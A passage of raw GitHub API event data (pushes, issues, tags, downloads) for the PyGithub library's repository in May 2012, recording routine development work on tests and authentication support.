coverage"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-26T20:54:15Z","id":"1556182773","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"WatchEvent","payload":{"action":"started"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-26T18:33:42Z","id":"1556168218","actor":{"gravatar_id":"1689abbd998128dbb3658698b429b022","avatar_url":"https://secure.gravatar.com/avatar/1689abbd998128dbb3658698b429b022?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/michaelpedersen","id":22974,"login":"michaelpedersen"}},{"type":"IssuesEvent","payload":{"action":"closed","issue":{"number":28,"created_at":"2012-05-19T10:38:23Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Body edited by PyGithub","title":"Issue created by PyGithub","comments":0,"updated_at":"2012-05-26T14:59:33Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/28","id":4653757,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":1,"created_at":"2012-03-08T12:22:10Z","due_on":"2012-03-13T07:00:00Z","title":"Version 0.4","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/1","id":93546,"open_issues":0,"closed_issues":3,"description":"","state":"closed"},"closed_at":"2012-05-26T14:59:33Z","html_url":"https://github.com/jacquev6/PyGithub/issues/28","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"labels":[{"name":"Bug","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","color":"e10c02"},{"name":"Project management","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","color":"444444"},{"name":"Question","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","color":"02e10c"}],"state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-26T14:59:34Z","id":"1556145515","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"36574ded89738a81f47f415017ba880d0cad839b","size":5,"push_id":80677260,"commits":[{"sha":"95cd6c507bdfbf3700a31bafbe26f72a1d684be1","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/95cd6c507bdfbf3700a31bafbe26f72a1d684be1","distinct":true,"message":"Use setUp in test for NamedUser"},{"sha":"386bcde55e1744fa888b034d34ad9f167595d2cf","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/386bcde55e1744fa888b034d34ad9f167595d2cf","distinct":true,"message":"Refactor tests of NamedUser"},{"sha":"1b3ca70ebe8724ab7d0d6ba9c8b20853a018eeec","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1b3ca70ebe8724ab7d0d6ba9c8b20853a018eeec","distinct":true,"message":"Restore coverage of Event"},{"sha":"ff8d87d5391b2ef8d10e89f77260a18440e88e25","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ff8d87d5391b2ef8d10e89f77260a18440e88e25","distinct":true,"message":"Test NamedUser.create_gist withour description"},{"sha":"36574ded89738a81f47f415017ba880d0cad839b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/36574ded89738a81f47f415017ba880d0cad839b","distinct":true,"message":"Refactor tests of Repository"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-26T11:25:50Z","id":"1556126182","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"619eae8d51c5988f0d2889fc767fa677438ba95d","size":11,"push_id":80673538,"ref":"refs/heads/topic/RewriteWithGeneratedCode","commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"},{"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","distinct":false,"message":"Merge branch 'develop'"},{"sha":"3a3bf4763192ee1234eb0557628133e06f3dfc76","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3a3bf4763192ee1234eb0557628133e06f3dfc76","distinct":true,"message":"Merge branch 'master' into topic/RewriteWithGeneratedCode\n\nConflicts:\n\tgithub/Github.py\n\tgithub/Requester.py"},{"sha":"608f17794664f61693a3dc05e6056fea8fbef0ff","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/608f17794664f61693a3dc05e6056fea8fbef0ff","distinct":true,"message":"Restore some form of Authorization header in replay data"},{"sha":"2c04b8adbd91d38eef4f0767337ab7a12b2f684b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2c04b8adbd91d38eef4f0767337ab7a12b2f684b","distinct":true,"message":"Allow test without pre-set-up Github"},{"sha":"5b97389988b6fe43e15a079702f6f1671257fb28","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5b97389988b6fe43e15a079702f6f1671257fb28","distinct":true,"message":"Test three authentication schemes"},{"sha":"12747613c5ec00deccf296b8619ad507f7050475","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/12747613c5ec00deccf296b8619ad507f7050475","distinct":true,"message":"Test Issue.getComments"},{"sha":"2982fa96c5ca75abe717d974d83f9135d664232e","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/2982fa96c5ca75abe717d974d83f9135d664232e","distinct":true,"message":"Test the new Repository.full_name attribute"},{"sha":"619eae8d51c5988f0d2889fc767fa677438ba95d","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/619eae8d51c5988f0d2889fc767fa677438ba95d","distinct":true,"message":"Improve coverage of AuthenticatedUser"}]},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-26T10:01:39Z","id":"1556114751","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"closed","issue":{"number":29,"created_at":"2012-05-25T11:47:59Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"","comments":0,"title":"Publish version 0.7","updated_at":"2012-05-25T17:32:32Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/29","id":4752048,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"due_on":"2012-05-26T07:00:00Z","created_at":"2012-05-25T11:47:06Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","id":124045,"closed_issues":2,"open_issues":0,"description":"","state":"closed"},"closed_at":"2012-05-25T17:32:32Z","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"labels":[{"name":"Project management","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","color":"444444"}],"html_url":"https://github.com/jacquev6/PyGithub/issues/29","state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:32:33Z","id":"1555940993","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"closed","issue":{"number":15,"created_at":"2012-03-13T06:24:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"One would want to use the API without authentication, with login+password, and with OAuth token. Let's cover these use-cases.","comments":1,"title":"Implement all authentication schemes","updated_at":"2012-05-25T17:32:31Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/15","id":3624575,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"due_on":"2012-05-26T07:00:00Z","created_at":"2012-05-25T11:47:06Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","id":124045,"closed_issues":2,"open_issues":0,"description":"","state":"closed"},"closed_at":"2012-05-25T17:32:31Z","labels":[{"name":"Functionalities","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","color":"e102d8"}],"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/issues/15","state":"closed"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:32:33Z","id":"1555940986","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CreateEvent","payload":{"master_branch":"master","ref_type":"tag","ref":"v0.7","description":"Python library implementing the full Github API v3"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:19:48Z","id":"1555936661","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"DeleteEvent","payload":{"ref_type":"branch","ref":"topic/Authentication"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:19:48Z","id":"1555936660","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","size":4,"push_id":80573368,"ref":"refs/heads/master","commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"},{"sha":"ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ecda065e01876209d2bdf5fe4e91cee8ffaa9ff7","distinct":true,"message":"Merge branch 'develop'"}]},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:19:48Z","id":"1555936659","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","size":3,"push_id":80573367,"commits":[{"sha":"5bb654d26dd014d36794acd1e6ecf3736f12aad7","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5bb654d26dd014d36794acd1e6ecf3736f12aad7","distinct":false,"message":"Implement the three authentication schemes"},{"sha":"cb0313157bf904f2d364377d35d9397b269547a5","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cb0313157bf904f2d364377d35d9397b269547a5","distinct":false,"message":"Merge branch 'topic/Authentication' into develop"},{"sha":"0cec0d25e606c023a62a4fc7cdc815309ebf6d16","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0cec0d25e606c023a62a4fc7cdc815309ebf6d16","distinct":false,"message":"Publish version 0.7"}],"ref":"refs/heads/develop"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T17:19:47Z","id":"1555936657","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CreateEvent","payload":{"master_branch":"master","ref":"topic/Authentication","description":"Python library implementing the full Github API v3","ref_type":"branch"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T12:24:21Z","id":"1555833283","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssuesEvent","payload":{"action":"opened","issue":{"number":29,"created_at":"2012-05-25T11:47:59Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"","title":"Publish version 0.7","comments":0,"updated_at":"2012-05-25T11:47:59Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/29","id":4752048,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":{"number":5,"created_at":"2012-05-25T11:47:06Z","due_on":"2012-05-26T07:00:00Z","title":"Version 0.7","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/5","id":124045,"open_issues":2,"closed_issues":0,"description":"","state":"open"},"closed_at":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"html_url":"https://github.com/jacquev6/PyGithub/issues/29","labels":[{"name":"Project management","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","color":"444444"}],"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T12:02:48Z","id":"1555822981","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-25T06:31:42Z","body":"It means that there will be three ways to create an instance of the Github class:\n github = Github()\n github = Github( login, password )\n github = Github( oauth_token )\n","updated_at":"2012-05-25T06:31:42Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5924198","id":5924198,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},"action":"created","issue":{"number":15,"created_at":"2012-03-13T06:24:05Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"comments":1,"body":"One would want to use the API without authentication, with login+password, and with OAuth token. Let's cover these use-cases.","title":"Implement all authentication schemes","updated_at":"2012-05-25T06:31:42Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/15","id":3624575,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"milestone":null,"closed_at":null,"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"},"labels":[{"name":"Functionalities","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","color":"e102d8"}],"html_url":"https://github.com/jacquev6/PyGithub/issues/15","state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T06:31:42Z","id":"1555742639","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"WatchEvent","payload":{"action":"started"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-25T06:05:21Z","id":"1555738288","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"PushEvent","payload":{"head":"527ce7459a2e60d1536883f19b9bc6850d71127b","size":5,"push_id":79877715,"commits":[{"sha":"287bc541542f9d32339e7dd4b36a511cab2ebdae","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/287bc541542f9d32339e7dd4b36a511cab2ebdae","distinct":true,"message":"Generate more coverage information"},{"sha":"588a4a9a355096c00a2bb25f27664d2115e120ac","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/588a4a9a355096c00a2bb25f27664d2115e120ac","distinct":true,"message":"Test AuthenticatedUser watching"},{"sha":"815720f0deb376c34166c27b6e3b73e5c1f5b1a3","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/815720f0deb376c34166c27b6e3b73e5c1f5b1a3","distinct":true,"message":"Test Authorization"},{"sha":"473c92adcd8bbbd32003d9c65666ede66059551b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/473c92adcd8bbbd32003d9c65666ede66059551b","distinct":true,"message":"Test Download and CommitComment"},{"sha":"527ce7459a2e60d1536883f19b9bc6850d71127b","author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net"},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/527ce7459a2e60d1536883f19b9bc6850d71127b","distinct":true,"message":"Merge commit 'c93f9cc8484b7' into topic/RewriteWithGeneratedCode\n\nConflicts:\n\ttest/IntegrationTest.py"}],"ref":"refs/heads/topic/RewriteWithGeneratedCode"},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T19:59:48Z","id":"1554729420","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"DownloadEvent","payload":{"download":{"name":"Foobar.txt","size":1024,"created_at":"2012-05-22T19:15:29Z","content_type":"text/plain","download_count":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/242562","id":242562,"description":null,"html_url":"https://github.com/downloads/jacquev6/PyGithub/Foobar.txt"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T19:15:30Z","id":"1554712197","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"DownloadEvent","payload":{"download":{"name":"Foobar.txt","size":1024,"created_at":"2012-05-22T19:11:49Z","content_type":"text/richtext","download_count":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/242556","id":242556,"description":"Download created by PyGithub","html_url":"https://github.com/downloads/jacquev6/PyGithub/Foobar.txt"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T19:11:49Z","id":"1554710791","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"DownloadEvent","payload":{"download":{"name":"Foobar.txt","created_at":"2012-05-22T18:58:32Z","size":1024,"content_type":"text/plain","url":"https://api.github.com/repos/jacquev6/PyGithub/downloads/242550","download_count":0,"id":242550,"description":null,"html_url":"https://github.com/downloads/jacquev6/PyGithub/Foobar.txt"}},"public":true,"repo":{"url":"https://api.github.com/repos/jacquev6/PyGithub","id":3544490,"name":"jacquev6/PyGithub"},"created_at":"2012-05-22T18:58:32Z","id":"1554705673","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},{"type":"CommitCommentEvent","payload":{"comment":{"position":19,"created_at":"2012-05-22T18:53:25Z","line":211,"body":"Foobar","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","updated_at":"2012-05-22T18:53:25Z","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362020","id":1362020,"path":"src/github/AuthenticatedUser.py","html_url":"https://